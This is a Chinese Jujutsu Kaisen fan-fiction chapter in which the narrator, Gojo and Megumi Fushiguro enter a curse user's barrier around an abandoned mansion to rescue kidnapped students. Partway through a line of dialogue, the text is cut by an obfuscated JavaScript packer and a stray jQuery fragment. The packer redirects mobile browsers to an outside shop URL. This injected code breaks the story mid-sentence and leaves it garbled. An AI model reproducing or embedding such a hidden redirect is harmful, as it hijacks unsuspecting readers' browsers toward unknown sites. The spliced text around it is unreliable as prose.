“最近状态不错啊,有什么秘诀吗?”
“嗯……”我一言难尽地叹气,“没什么特别的,非要说的话就是天天被一米八大高个追着——”
“欸~有人在追你?”
“听人把话说完啊山本。”
“帅吗美吗?”
“……帅,但不是你想的那样。”
我转头,五条正在认真钻研数学。
初春柔和的日光轻轻拍打着如雪白发,他安静坐在那里,带着一种若即若离的凛然。
凭心而论,五条的确称得上一句大帅哥。
但当这张脸每天高强度以各种难以预料的形态刷新在逃亡路上,再辅以“欸?午饭没有吃饱啊”“就这种程度”“这就是极限吗”之类的言语,大概还有真的很痛的体术技巧……总之完全没心思去关注外貌。
说起来特训是五条全权负责,厨房也被他承包了,连安全问题都是他警戒揪出了可疑普通人和咒灵,明明全是好事,但究竟是怎么做到让人常常感激偶尔手痒的?
真复杂啊……
想不明白的事暂且搁置,我继续埋头听课。
趁老师背过身写板书,山本再一次神秘兮兮地凑近说:“最近我们有个组队活动,你感兴趣吗?”
“什么类型的?”
她翻开背包夹层,随意抽出张纸递给我。
“就是那种常见的恐怖探险活动啦,年久荒废的诡异洋馆,夜半徘徊的神秘人影,无故消失的同伴……不感兴趣也没事,我看电影都不会选这种了,但表哥非要我帮忙宣传,干脆塞几张出去完成任务算了。”
“竟然大学了还有这种活动。”不知道什么时候跑过来的五条探着脑袋感慨说,“果然无论什么时代的咒灵都不缺气氛组啊。”
“你也要去吗?”我问。
山本摆摆手:“我个人是不想啦,但最后差人头肯定还是盯上我。”
我委婉说:“这几年类似的探险事故也不少,春天果然还是去踏青比较好?”
“是呀,等表哥找我了再烦恼吧。”山本豪迈拍桌,“所以今年我们一起去赏樱吧?”
“等等我们在上课……”
“糟糕,哈哈总之,嗯这张纸你就先带走然后在校外随便找个地方扔掉吧。”
“是说这个的时候吗?”
“我也不想但是老师在叫我了,稻荷神保佑——”山本表情悲壮地起身,还不忘和我强调,“真的,一定要丢在校外啊!”
旁观了全程的五条沉默:“……她还真是执着。”
“嘛,毕竟是亲表哥。”我把海报夹进课本,“比起恐怖洋馆我宁愿选择老老实实特训,至少真的会变强,所以周末还是去你家那边?”
“这个啊,我有一个好主意。”
*
“结果还是来了呢。”
“是啊,而且原来年久荒废的诡异洋馆这句话是写实派。”我仔细对比着邮件附带的地址,终于不得不承认寸土寸金的东京里居然有比五条家荒山更靠近市区的闲置土地。
闲置到大白天就突然黑漆漆像是马上就要有咒灵钻出来——
“是帐哦。”五条笑眯眯宣布说。
我生无可恋地叹气:“巧合的概率排除,所以果然有诅咒师在钓鱼啊,新宿也是现在也是,一个两个的都把别人的命当成什么了,真差劲。”
压下对诅咒师群体的不满,我抬手按在摇摇欲坠的木门上。
砰——
术式发动的同时,白色犬科生物自我原先站立的位置穿行而过,巨大的冲击力将门连带着看不出原貌的装饰品一同撞飞。
“不讲武德啊。”我又叹了口气,“因为是偷袭所以由你来负责赔偿费用,有意见也没用我听不懂动物语……但诅咒师竟然有这么可爱的式神,好烦不然我们把它抢过来吧?”
后一句是对五条说的。
看热闹不嫌事大的男高早已凑近白色大狗,无视对方立起的双耳与拉长压低的身体,呼噜呼噜摸起了毛茸茸。
“可以哦,但是应该和你想象的有些不同。”他说。
我正想再问,身后灌木丛不断传来沙沙的声响,另一只黑色大狗猛地跃起,呲牙挡在炸毛白色蒲公英身前。
“两只?”
我察觉到异常,谨慎地拉开距离。
下一秒,有过一面之缘的十影海胆头双手交叠着冲出树林。
四目相对间谁也没有率先开口。
“怎么和谁都在玩对视游戏。”五条小声抱怨。
我在心底?了他一眼。
仗着旁人看不见,五条优哉游哉地向我们靠近,路过戒备的黑色大狗时顺手也撸了两把。
海胆头表情一僵。
三秒后,他按捺不住转头又飞速扭了回来。
我继续沉默,而五条已经走到了海胆头身旁,很是夸张地从四面八方探头观察。
“这个姿势是十种影法术里的鵺,被打到会噼里啪啦地弹走。”五条模仿着海胆头的手势,缓缓做了个白鸽起飞的动作,“顺便一提你喜欢的两只狗狗是玉犬哦,要养的话得把主人也薅回家……”
眼看他要用撸狗的手法拍未成年脑袋,我连忙向前挪了半步,激得对方下意识后撤,两只玉犬也顾不得竖毛,一左一右拱卫在主人身侧。
没能得逞的五条“切~”了一声。
场面似乎又回到了最初,但顺利与式神汇合的海胆头敌意明显消退,我们就这样彼此维持着安全距离开始交流现状。
海胆头名叫伏黑惠,无视掉某人“不是禅院?有意思”的背景音,我从伏黑口中得到了有关诅咒师和帐的信息。
在察觉到结界后,白色玉犬被派出继续前进,他本人则是带着另一只折返至边缘获取情报。帐内没有信号,带他来的辅助监督也无法进入,只能承诺会尽快向总监部报告争取调查与支援。
至于设下帐的诅咒师大概率是402室的住户,躲了两周后终于被窗口与辅助监督追踪到蛛丝马迹。
……姑且先认定为巧合。
接下来就是关于我会出现在这里的部分,看着伏黑直愣愣的眼神,我掏出手机解锁说:“我的话是因为这个啦。”
“收到了威胁信啊。”
伏黑手忙脚乱地接住手机,只瞥一眼就沉了脸色:“有普通人被困的事也必须上报。”
领了新任务的黑色玉犬叼着纸条跑走。
“你,原先不是咒术师吧?我在伊地知先生那里看到过。”伏黑犹豫着说,“普通来说收到威胁的第一反应是直接冲过来救人吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962174|214346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
——被当成热血笨蛋了。
如果没有五条我应该会先报警或者找专业人士帮忙……这么想着时,一直充当壁花的五条仿佛心有灵犀般比了个耶。
“可能是因为我有术式兜底吧。”我打着哈哈说,“现在要等其他人来支援吗?”
伏黑果然被转移了注意力:“不,我现在就去。”
“情报上那个诅咒师是式神使,强度应该在三级到二级之间,你——”
“会死哦。”五条突然附在我耳边说。
谁?伏黑吗?
我看向劝说我留在外面等待的少年。
国中,最多也不过是高中生的年纪,我那段时间最大的烦恼是什么?总归不是暴打或者被咒灵和诅咒师暴打还要冒着生命危险营救人质的生活。
“打得过吗?”我轻声问。
“当然了。”
被质疑的五条似乎有些不爽:“多信任一点啊,现在站在这里的人可是我耶,是五——条——悟——哦。”
我一把握住他挥舞的右手。
于是世界安静了。
“我也有需要过去的理由。”我对伏黑说,“威胁信只是其一,我不去对方有撕票的可能性,另外一点是我怀疑这个人和这些天经常偶遇我的人有关联,或者干脆就是本人现身。”
“那天的辅助监督先生不是说过吗?402室是年初突然搬来的,我的事也是在差不多时间,这么巧合的事很少见吧?”
我的胡编得到了肯定。
简单商议完对策后,由玉犬打头阵,我和幽灵五条在左,伏黑独自一人在右,三角形小队维持着安全距离从一楼开始扫荡。
昏迷的山本趴在储藏室,表哥被塞在餐厅的桌布下,另外两个女生分别躺在客卧沙发上,最后的男生则是在地下室的空酒桶里。
顺利到简直像是有谁在悄悄开小灶。
……说起来是不是有点过于安静了?
我默默发力,被捏的某人纹丝不动,我偷偷用上咒力,五条作势要弹脑瓜崩。
“态度恶劣,扣分!”
到底是谁恶劣啊?
我以眼神控诉。
五条不为所动,于是我开始对口型:“会死的危机呢?”
“别着急嘛。”他说,“这可是个‘害羞’到不得了的家伙,不完成束缚它是不会出来的。”
又是束缚?
我若有所思。
五条继续说:“具体还要看这五个冒牌货的进度、啊不用阻止哦,带着替身会遇到咒灵,不带就会被困在原地,狡猾的陷阱从踏进大门就开始了。”
我脱口而出:“那玉犬岂不是?”
伏着山本的白色大狗疑惑嗷了一声。
“没错,被标记了呢,真可怜。”
我:“……”从哪里掏出来的手帕?
而且根本没在哭,再说我们就是在去解决咒灵的路上,这种想吐槽却不能说话的感觉,明明已经十足超自然为什么不能用脑电波交流……
漫画和小说里可不是这么发展的!
“好了,不要激动。”
五条啪地双手合十,一副我有个好点子的表情:“上次讲过术式反转,那我们接下来说领域吧?正好现在就有空闲时间欸~”